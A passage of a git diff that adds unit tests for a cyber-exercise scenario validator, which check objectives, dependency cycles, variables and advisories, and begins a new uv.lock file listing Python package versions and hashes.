+ "targets": ["ghost-target"], + "success": {"goals": ["pass-exercise"]}, + }, + }, + ) + errors = _validate(s) + assert any("defined targetable element" in e for e in errors) + + def test_success_references_must_exist(self): + s = _make_scenario( + **self._base_kwargs(), + objectives={ + "obj-1": { + "agent": "red-agent", + "success": {"metrics": ["ghost-metric"]}, + }, + }, + ) + errors = _validate(s) + assert any("undefined metric" in e for e in errors) + + def test_window_event_must_belong_to_script(self): + kwargs = self._base_kwargs() + kwargs["events"] = {"attack-wave": {}, "cleanup-wave": {}} + s = _make_scenario( + **kwargs, + objectives={ + "obj-1": { + "agent": "red-agent", + "success": {"goals": ["pass-exercise"]}, + "window": { + "scripts": ["main-timeline"], + "events": ["cleanup-wave"], + }, + }, + }, + ) + errors = _validate(s) + assert any("not included by the referenced scripts" in e for e in errors) + + def test_dependency_cycle_rejected(self): + s = _make_scenario( + **self._base_kwargs(), + objectives={ + "obj-1": { + "agent": "red-agent", + "success": {"goals": ["pass-exercise"]}, + "depends_on": ["obj-2"], + }, + "obj-2": { + "entity": "blue", + "success": {"metrics": ["report-quality"]}, + "depends_on": ["obj-1"], + }, + }, + ) + errors = _validate(s) + assert any("Objective dependency graph contains a cycle" in e for e in errors) + + def test_valid_objective(self): + s = _make_scenario( + **self._base_kwargs(), + objectives={ + "recon": { + "agent": "red-agent", + "actions": ["Scan"], + "targets": ["web"], + "success": {"goals": ["pass-exercise"]}, + "window": { + "stories": ["exercise"], + "scripts": ["main-timeline"], + "events": ["attack-wave"], + }, + }, + "report": { + "entity": "blue", + "success": {"metrics": ["report-quality"]}, + "depends_on": ["recon"], + }, + }, + ) + errors = _validate(s) + assert not errors + + class TestVerifyVariables: def test_defined_variables_allow_placeholders_across_models(self): s = _make_scenario( @@ -701,6 +882,7 @@ def test_defined_variables_allow_placeholders_across_models(self): "relationship_target": {"type": "string", "default": "db"}, "contains_sensitive_data": {"type": "boolean", "default": False}, "is_disabled": {"type": "boolean", "default": False}, + "objective_target": {"type": "string", "default": "vm"}, }, nodes={ "net": {"type": "switch"}, @@ -789,6 +971,13 @@ def test_defined_variables_allow_placeholders_across_models(self): }, } }, + objectives={ + "obj": { + "agent": "a1", + "targets": ["${objective_target}"], + "success": {"goals": ["g1"]}, + } + }, ) errors = _validate(s) assert not errors @@ -802,6 +991,16 @@ def test_undefined_variable_reference_reported(self): assert any("Undefined variable 'missing_count'" in e for e in errors) +class TestAdvisories: + def test_vm_without_resources_emits_advisory(self): + scenario = _make_scenario( + nodes={"vm": {"type": "vm"}}, + ) + validator = SemanticValidator(scenario) + validator.validate() + assert any("without 'resources'" in warning for warning in validator.warnings) + + class TestValidFullScenario: def test_complete_ocr_scenario_validates(self): """A complete OCR-style scenario passes validation.""" diff --git a/uv.lock b/uv.lock new file mode 100644 index 000000000..93d793663 --- /dev/null +++ b/uv.lock @@ -0,0 +1,1355 @@ +version = 1 +revision = 3 +requires-python = ">=3.11" + +[[package]] +name = "annotated-doc" +version = "0.0.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/57/ba/046ceea27344560984e26a590f90bc7f4a75b06701f653222458922b558c/annotated_doc-0.0.4.tar.gz", hash = "sha256:fbcda96e87e9c92ad167c2e53839e57503ecfda18804ea28102353485033faa4", size = 7288, upload-time = "2025-11-10T22:07:42.062Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1e/d3/26bf1008eb3d2daa8ef4cacc7f3bfdc11818d111f7e2d0201bc6e3b49d45/annotated_doc-0.0.4-py3-none-any.whl", hash = "sha256:571ac1dc6991c450b25a9c2d84a3705e2ae7a53467b5d111c24fa8baabbed320", size = 5303, upload-time = "2025-11-10T22:07:40.673Z" }, +] + +[[package]] +name = "annotated-types" +version = "0.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/ee/67/531ea369ba64dcff5ec9c3402f9f51bf748cec26dde048a2f973a4eea7f5/annotated_types-0.7.0.tar.gz", hash = "sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89", size = 16081, upload-time = "2024-05-20T21:33:25.928Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/78/b6/6307fbef88d9b5ee7421e68d78a9f162e0da4900bc5f5793f6d3d0e34fb8/annotated_types-0.7.0-py3-none-any.whl", hash = "sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53", size = 13643, upload-time = "2024-05-20T21:33:24.1Z" }, +] + +[[package]] +name = "anyio" +version = "4.13.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "idna" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/19/14/2c5dd9f512b66549ae92767a9c7b330ae88e1932ca57876909410251fe13/anyio-4.13.0.tar.gz", hash = "sha256:334b70e641fd2221c1505b3890c69882fe4a2df910cba14d97019b90b24439dc", size = 231622, upload-time = "2026-03-24T12:59:09.671Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/da/42/e921fccf5015463e32a3cf6ee7f980a6ed0f395ceeaa45060b61d86486c2/anyio-4.13.0-py3-none-any.whl", hash = "sha256:08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708", size = 114353, upload-time = "2026-03-24T12:59:08.246Z" }, +] + +[[package]] +name = "aptl" +version = "0.1.0" +source = { editable = "." } +dependencies = [ + { name = "opentelemetry-api" }, + { name = "opentelemetry-exporter-otlp-proto-http" }, + { name = "opentelemetry-sdk" }, + { name = "opentelemetry-semantic-conventions" }, + { name = "pydantic" }, + { name = "pyyaml" }, + { name = "rich" }, + { name = "typer" }, +] + +[package.optional-dependencies] +dev = [ + { name = "coverage" }, + { name = "httpx" }, + { name = "hypothesis" }, + { name = "pytest" }, + { name = "pytest-mock" }, +] +s3 = [ + { name = "boto3" }, +] +web = [ + { name = "asyncssh" }, + { name = "fastapi" }, + { name = "sse-starlette" }, + { name = "uvicorn", extra = ["standard"] }, +] + +[package.metadata] +requires-dist = [ + { name = "asyncssh", marker = "extra == 'web'", specifier = ">=2.17.0" }, + { name = "boto3", marker = "extra == 's3'", specifier = ">=1.28.0" }, + { name = "coverage", marker = "extra == 'dev'", specifier = ">=7.0.0" }, + { name = "fastapi", marker = "extra == 'web'", specifier = ">=0.115.0" }, + { name = "httpx", marker = "extra == 'dev'", specifier = ">=0.27.0" }, + { name = "hypothesis", marker = "extra == 'dev'", specifier = ">=6.0.0" }, + { name = "opentelemetry-api", specifier = ">=1.33.0" }, + { name = "opentelemetry-exporter-otlp-proto-http", specifier = ">=1.33.0" }, + { name = "opentelemetry-sdk", specifier = ">=1.33.0" }, + { name = "opentelemetry-semantic-conventions", specifier = ">=0.54b0" }, + { name = "pydantic", specifier = ">=2.0.0" }, + { name = "pytest", marker = "extra == 'dev'", specifier = ">=8.0.0" }, + { name = "pytest-mock", marker = "extra == 'dev'", specifier = ">=3.12.0" }, + { name = "pyyaml", specifier = ">=6.0" }, + { name = "rich", specifier = ">=13.0.0" }, + { name = "sse-starlette", marker = "extra == 'web'", specifier = ">=2.0.0" }, + { name = "typer", specifier = ">=0.12.0" }, + { name = "uvicorn", extras = ["standard"], marker = "extra == 'web'", specifier = ">=0.34.0" }, +] +provides-extras = ["s3", "web", "dev"] + +[[package]] +name = "asyncssh" +version = "2.22.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cryptography" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/fc/d5/957886c316466349d55c4de6a688a10a98295c0b4429deb8db1a17f3eb19/asyncssh-2.22.0.tar.gz", hash = "sha256:c3ce72b01be4f97b40e62844dd384227e5ff5a401a3793007c42f86a5c8eb537", size = 540523, upload-time = "2025-12-21T23:38:30.5Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ed/ae/0da2f2214fc183338af1afe5a103a2052fd03464e8eafbd827abff58a4d0/asyncssh-2.22.0-py3-none-any.whl", hash = "sha256:d16465ccdf1ed20eba1131b14415b155e047f6f5be0d19f39c2e0b61331ee0e7", size = 374938, upload-time = "2025-12-21T23:38:28.976Z" }, +] + +[[package]] +name = "boto3" +version = "1.42.78" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "botocore" }, + { name = "jmespath" }, + { name = "s3transfer" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/a8/2b/ebdad075934cf6bb78bf81fe31d83339bcd804ad6c856f7341376cbc88b6/boto3-1.42.78.tar.gz", hash = "sha256:cef2ebdb9be5c0e96822f8d3941ac4b816c90a5737a7ffb901d664c808964b63", size = 112789, upload-time = "2026-03-27T19:28:07.58Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/57/bb/1f6dade1f1e86858bef7bd332bc8106c445f2dbabec7b32ab5d7d118c9b6/boto3-1.42.78-py3-none-any.whl", hash = "sha256:480a34a077484a5ca60124dfd150ba3ea6517fc89963a679e45b30c6db614d26", size = 140556, upload-time = "2026-03-27T19:28:06.125Z" }, +] + +[[package]] +name = "botocore" +version = "1.42.78" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jmespath" }, + { name = "python-dateutil" }, + { name = "urllib3" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/67/8e/cdb34c8ca71216d214e049ada2148ee08bcda12b1ac72af3a720dea300ff/botocore-1.42.78.tar.gz", hash = "sha256:61cbd49728e23f68cfd945406ab40044d49abed143362f7ffa4a4f4bd4311791", size = 15023592, upload-time = "2026-03-27T19:27:57.122Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/54/72/94bba1a375d45c685b00e051b56142359547837086a83861d76f6aec26f4/botocore-1.42.78-py3-none-any.whl", hash = "sha256:038ab63c7f898e8b5db58cb6a45e4da56c31dd984e7e995839a3540c735564ea", size = 14701729, upload-time = "2026-03-27T19:27:54.05Z" }, +] + +[[package]] +name = "certifi" +version = "2026.2.25" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/af/2d/7bf41579a8986e348fa033a31cdd0e4121114f6bce2457e8876010b092dd/certifi-2026.2.25.tar.gz", hash = "sha256:e887ab5cee78ea814d3472169153c2d12cd43b14bd03329a39a9c6e2e80bfba7", size = 155029, upload-time = "2026-02-25T02:54:17.342Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9a/3c/c17fb3ca2d9c3acff52e30b309f538586f9f5b9c9cf454f3845fc9af4881/certifi-2026.2.25-py3-none-any.whl", hash = "sha256:027692e4402ad994f1c42e52a4997a9763c646b73e4096e4d5d6db8af1d6f0fa", size = 153684, upload-time = "2026-02-25T02:54:15.766Z" }, +] + +[[package]] +name = "cffi" +version = "2.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pycparser", marker = "implementation_name != 'PyPy'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/eb/56/b1ba7935a17738ae8453301356628e8147c79dbb825bcbc73dc7401f9846/cffi-2.0.0.tar.gz", hash = "sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529", size = 523588, upload-time = "2025-09-08T23:24:04.541Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/12/4a/3dfd5f7850cbf0d06dc84ba9aa00db766b52ca38d8b86e3a38314d52498c/cffi-2.0.0-cp311-cp311-macosx_10_13_x86_64.whl", hash = "sha256:b4c854ef3adc177950a8dfc81a86f5115d2abd545751a304c5bcf2c2c7283cfe", size = 184344, upload-time = "2025-09-08T23:22:26.456Z" }, + { url = "https://files.pythonhosted.org/packages/4f/8b/f0e4c441227ba756aafbe78f117485b25bb26b1c059d01f137fa6d14896b/cffi-2.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2de9a304e27f7596cd03d16f1b7c72219bd944e99cc52b84d0145aefb07cbd3c", size = 180560, upload-time = "2025-09-08T23:22:28.197Z" }, + { url = "https://files.pythonhosted.org/packages/b1/b7/1200d354378ef52ec227395d95c2576330fd22a869f7a70e88e1447eb234/cffi-2.0.0-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:baf5215e0ab74c16e2dd324e8ec067ef59e41125d3eade2b863d294fd5035c92", size = 209613, upload-time = "2025-09-08T23:22:29.475Z" }, + { url = "https://files.pythonhosted.org/packages/b8/56/6033f5e86e8cc9bb629f0077ba71679508bdf54a9a5e112a3c0b91870332/cffi-2.0.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:730cacb21e1bdff3ce90babf007d0a0917cc3e6492f336c2f0134101e0944f93", size = 216476, upload-time = "2025-09-08T23:22:31.063Z" }, + { url = "https://files.pythonhosted.org/packages/dc/7f/55fecd70f7ece178db2f26128ec41430d8720f2d12ca97bf8f0a628207d5/cffi-2.0.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:6824f87845e3396029f3820c206e459ccc91760e8fa24422f8b0c3d1731cbec5", size = 203374, upload-time = "2025-09-08T23:22:32.507Z" }, + { url = "https://files.pythonhosted.org/packages/84/ef/a7b77c8bdc0f77adc3b46888f1ad54be8f3b7821697a7b89126e829e676a/cffi-2.0.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:9de40a7b0323d889cf8d23d1ef214f565ab154443c42737dfe52ff82cf857664", size = 202597, upload-time = "2025-09-08T23:22:34.132Z" }, + { url = "https://files.pythonhosted.org/packages/d7/91/500d892b2bf36529a75b77958edfcd5ad8e2ce4064ce2ecfeab2125d72d1/cffi-2.0.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8941aaadaf67246224cee8c3803777eed332a19d909b47e29c9842ef1e79ac26", size = 215574, upload-time = "2025-09-08T23:22:35.443Z" }, + { url = "https://files.pythonhosted.org/packages/44/64/58f6255b62b101093d5df22dcb752596066c7e89dd725e0afaed242a61be/cffi-2.0.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:a05d0c237b3349096d3981b727493e22147f934b20f6f125a3eba8f994bec4a9", size = 218971, upload-time = "2025-09-08T23:22:36.805Z" }, + { url = "https://files.pythonhosted.org/packages/ab/49/fa72cebe2fd8a55fbe14956f9970fe8eb1ac59e5df042f603ef7c8ba0adc/cffi-2.0.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:94698a9c5f91f9d138526b48fe26a199609544591f859c870d477351dc7b2414", size = 211972, upload-time = "2025-09-08T23:22:38.436Z" }, + { url = "https://files.pythonhosted.org/packages/0b/28/dd0967a76aab36731b6ebfe64dec4e981aff7e0608f60c2d46b46982607d/cffi-2.0.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:5fed36fccc0612a53f1d4d9a816b50a36702c28a2aa880cb8a122b3466638743", size = 217078, upload-time = "2025-09-08T23:22:39.776Z" }, + { url = "https://files.pythonhosted.org/packages/2b/c0/015b25184413d7ab0a410775fdb4a50fca20f5589b5dab1dbbfa3baad8ce/cffi-2.0.0-cp311-cp311-win32.whl", hash = "sha256:c649e3a33450ec82378822b3dad03cc228b8f5963c0c12fc3b1e0ab940f768a5", size = 172076, upload-time = "2025-09-08T23:22:40.95Z" }, + { url = "https://files.pythonhosted.org/packages/ae/8f/dc5531155e7070361eb1b7e4c1a9d896d0cb21c49f807a6c03fd63fc877e/cffi-2.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:66f011380d0e49ed280c789fbd08ff0d40968ee7b665575489afa95c98196ab5", size = 182820, upload-time = "2025-09-08T23:22:42.463Z" }, + { url = "https://files.pythonhosted.org/packages/95/5c/1b493356429f9aecfd56bc171285a4c4ac8697f76e9bbbbb105e537853a1/cffi-2.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:c6638687455baf640e37344fe26d37c404db8b80d037c3d29f58fe8d1c3b194d", size = 177635, upload-time = "2025-09-08T23:22:43.623Z" }, + { url = "https://files.pythonhosted.org/packages/ea/47/4f61023ea636104d4f16ab488e268b93008c3d0bb76893b1b31db1f96802/cffi-2.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718be5d", size = 185271, upload-time = "2025-09-08T23:22:44.795Z" }, + { url = "https://files.pythonhosted.org/packages/df/a2/781b623f57358e360d62cdd7a8c681f074a71d445418a776eef0aadb4ab4/cffi-2.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c", size = 181048, upload-time = "2025-09-08T23:22:45.938Z" }, + { url = "https://files.pythonhosted.org/packages/ff/df/a4f0fbd47331ceeba3d37c2e51e9dfc9722498becbeec2bd8bc856c9538a/cffi-2.0.0-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe", size = 212529, upload-time = "2025-09-08T23:22:47.349Z" }, + { url = "https://files.pythonhosted.org/packages/d5/72/12b5f8d3865bf0f87cf1404d8c374e7487dcf097a1c91c436e72e6badd83/cffi-2.0.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b21e08af67b8a103c71a250401c78d5e0893beff75e28c53c98f4de42f774062", size = 220097, upload-time = "2025-09-08T23:22:48.677Z" }, + { url = "https://files.pythonhosted.org/packages/c2/95/7a135d52a50dfa7c882ab0ac17e8dc11cec9d55d2c18dda414c051c5e69e/cffi-2.0.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e", size = 207983, upload-time = "2025-09-08T23:22:50.06Z" }, + { url = "https://files.pythonhosted.org/packages/3a/c8/15cb9ada8895957ea171c62dc78ff3e99159ee7adb13c0123c001a2546c1/cffi-2.0.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037", size = 206519, upload-time = "2025-09-08T23:22:51.364Z" }, + { url = "https://files.pythonhosted.org/packages/78/2d/7fa73dfa841b5ac06c7b8855cfc18622132e365f5b81d02230333ff26e9e/cffi-2.0.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba", size = 219572, upload-time = "2025-09-08T23:22:52.902Z" }, + { url = "https://files.pythonhosted.org/packages/07/e0/267e57e387b4ca276b90f0434ff88b2c2241ad72b16d31836adddfd6031b/cffi-2.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94", size = 222963, upload-time = "2025-09-08T23:22:54.518Z" }, + { url = "https://files.pythonhosted.org/packages/b6/75/1f2747525e06f53efbd878f4d03bac5b859cbc11c633d0fb81432d98a795/cffi-2.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187", size = 221361, upload-time = "2025-09-08T23:22:55.867Z" }, + { url = "https://files.pythonhosted.org/packages/7b/2b/2b6435f76bfeb6bbf055596976da087377ede68df465419d192acf00c437/cffi-2.0.0-cp312-cp312-win32.whl", hash = "sha256:da902562c3e9c550df360bfa53c035b2f241fed6d9aef119048073680ace4a18", size = 172932, upload-time = "2025-09-08T23:22:57.188Z" }, + { url = "https://files.pythonhosted.org/packages/f8/ed/13bd4418627013bec4ed6e54283b1959cf6db888048c7cf4b4c3b5b36002/cffi-2.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5", size = 183557, upload-time = "2025-09-08T23:22:58.351Z" }, + { url = "https://files.pythonhosted.org/packages/95/31/9f7f93ad2f8eff1dbc1c3656d7ca5bfd8fb52c9d786b4dcf19b2d02217fa/cffi-2.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6", size = 177762, upload-time = "2025-09-08T23:22:59.668Z" }, + { url = "https://files.pythonhosted.org/packages/4b/8d/a0a47a0c9e413a658623d014e91e74a50cdd2c423f7ccfd44086ef767f90/cffi-2.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb", size = 185230, upload-time = "2025-09-08T23:23:00.879Z" }, + { url = "https://files.pythonhosted.org/packages/4a/d2/a6c0296814556c68ee32009d9c2ad4f85f2707cdecfd7727951ec228005d/cffi-2.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca", size = 181043, upload-time = "2025-09-08T23:23:02.231Z" }, + { url = "https://files.pythonhosted.org/packages/b0/1e/d22cc63332bd59b06481ceaac49d6c507598642e2230f201649058a7e704/cffi-2.0.0-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b", size = 212446, upload-time = "2025-09-08T23:23:03.472Z" }, + { url = "https://files.pythonhosted.org/packages/a9/f5/a2c23eb03b61a0b8747f211eb716446c826ad66818ddc7810cc2cc19b3f2/cffi-2.0.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d48a880098c96020b02d5a1f7d9251308510ce8858940e6fa99ece33f610838b", size = 220101, upload-time = "2025-09-08T23:23:04.792Z" }, + { url = "https://files.pythonhosted.org/packages/f2/7f/e6647792fc5850d634695bc0e6ab4111ae88e89981d35ac269956605feba/cffi-2.0.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:f93fd8e5c8c0a4aa1f424d6173f14a892044054871c771f8566e4008eaa359d2", size = 207948, upload-time = "2025-09-08T23:23:06.127Z" }, + { url = "https://files.pythonhosted.org/packages/cb/1e/a5a1bd6f1fb30f22573f76533de12a00bf274abcdc55c8edab639078abb6/cffi-2.0.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:dd4f05f54a52fb558f1ba9f528228066954fee3ebe629fc1660d874d040ae5a3", size = 206422, upload-time = "2025-09-08T23:23:07.753Z" }, + { url = "https://files.pythonhosted.org/packages/98/df/0a1755e750013a2081e863e7cd37e0cdd02664372c754e5560099eb7aa44/cffi-2.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26", size = 219499, upload-time = "2025-09-08T23:23:09.648Z" }, + { url = "https://files.pythonhosted.org/packages/50/e1/a969e687fcf9ea58e6e2a928ad5e2dd88cc12f6f0ab477e9971f2309b57c/cffi-2.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c", size = 222928, upload-time = "2025-09-08T23:23:10.928Z" }, + { url = "https://files.pythonhosted.org/packages/36/54/0362578dd2c9e557a28ac77698ed67323ed5b9775ca9d3fe73fe191bb5d8/cffi-2.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b", size = 221302, upload-time = "2025-09-08T23:23:12.42Z" }, + { url = "https://files.pythonhosted.org/packages/eb/6d/bf9bda840d5f1dfdbf0feca87fbdb64a918a69bca42cfa0ba7b137c48cb8/cffi-2.0.0-cp313-cp313-win32.whl", hash = "sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27", size = 172909, upload-time = "2025-09-08T23:23:14.32Z" }, + { url = "https://files.pythonhosted.org/packages/37/18/6519e1ee6f5a1e579e04b9ddb6f1676c17368a7aba48299c3759bbc3c8b3/cffi-2.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75", size = 183402, upload-time = "2025-09-08T23:23:15.535Z" }, + { url = "https://files.pythonhosted.org/packages/cb/0e/02ceeec9a7d6ee63bb596121c2c8e9b3a9e150936f4fbef6ca1943e6137c/cffi-2.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91", size = 177780, upload-time = "2025-09-08T23:23:16.761Z" }, + { url = "https://files.pythonhosted.org/packages/92/c4/3ce07396253a83250ee98564f8d7e9789fab8e58858f35d07a9a2c78de9f/cffi-2.0.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5", size = 185320, upload-time = "2025-09-08T23:23:18.087Z" }, + { url = "https://files.pythonhosted.org/packages/59/dd/27e9fa567a23931c838c6b02d0764611c62290062a6d4e8ff7863daf9730/cffi-2.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13", size = 181487, upload-time = "2025-09-08T23:23:19.622Z" }, + { url = "https://files.pythonhosted.org/packages/d6/43/0e822876f87ea8a4ef95442c3d766a06a51fc5298823f884ef87aaad168c/cffi-2.0.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b", size = 220049, upload-time = "2025-09-08T23:23:20.853Z" }, + { url = "https://files.pythonhosted.org/packages/b4/89/76799151d9c2d2d1ead63c2429da9ea9d7aac304603de0c6e8764e6e8e70/cffi-2.0.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c", size = 207793, upload-time = "2025-09-08T23:23:22.08Z" }, + { url = "https://files.pythonhosted.org/packages/bb/dd/3465b14bb9e24ee24cb88c9e3730f6de63111fffe513492bf8c808a3547e/cffi-2.0.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef", size = 206300, upload-time = "2025-09-08T23:23:23.314Z" }, + { url = "https://files.pythonhosted.org/packages/47/d9/d83e293854571c877a92da46fdec39158f8d7e68da75bf73581225d28e90/cffi-2.0.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775", size = 219244, upload-time = "2025-09-08T23:23:24.541Z" }, + { url = "https://files.pythonhosted.org/packages/2b/0f/1f177e3683aead2bb00f7679a16451d302c436b5cbf2505f0ea8146ef59e/cffi-2.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205", size = 222828, upload-time = "2025-09-08T23:23:26.143Z" }, + { url = "https://files.pythonhosted.org/packages/c6/0f/cafacebd4b040e3119dcb32fed8bdef8dfe94da653155f9d0b9dc660166e/cffi-2.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1", size = 220926, upload-time = "2025-09-08T23:23:27.873Z" }, + { url = "https://files.pythonhosted.org/packages/3e/aa/df335faa45b395396fcbc03de2dfcab242cd61a9900e914fe682a59170b1/cffi-2.0.0-cp314-cp314-win32.whl", hash = "sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f", size = 175328, upload-time = "2025-09-08T23:23:44.61Z" }, + { url = "https://files.pythonhosted.org/packages/bb/92/882c2d30831744296ce713f0feb4c1cd30f346ef747b530b5318715cc367/cffi-2.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25", size = 185650, upload-time = "2025-09-08T23:23:45.848Z" }, + { url = "https://files.pythonhosted.org/packages/9f/2c/98ece204b9d35a7366b5b2c6539c350313ca13932143e79dc133ba757104/cffi-2.0.0-cp314-cp314-win_arm64.whl", hash = "sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad", size = 180687, upload-time = "2025-09-08T23:23:47.105Z" }, + { url = "https://files.pythonhosted.org/packages/3e/61/c768e4d548bfa607abcda77423448df8c471f25dbe64fb2ef6d555eae006/cffi-2.0.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9", size = 188773, upload-time = "2025-09-08T23:23:29.347Z" }, + { url = "https://files.pythonhosted.org/packages/2c/ea/5f76bce7cf6fcd0ab1a1058b5af899bfbef198bea4d5686da88471ea0336/cffi-2.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d", size = 185013, upload-time = "2025-09-08T23:23:30.63Z" }, + { url = 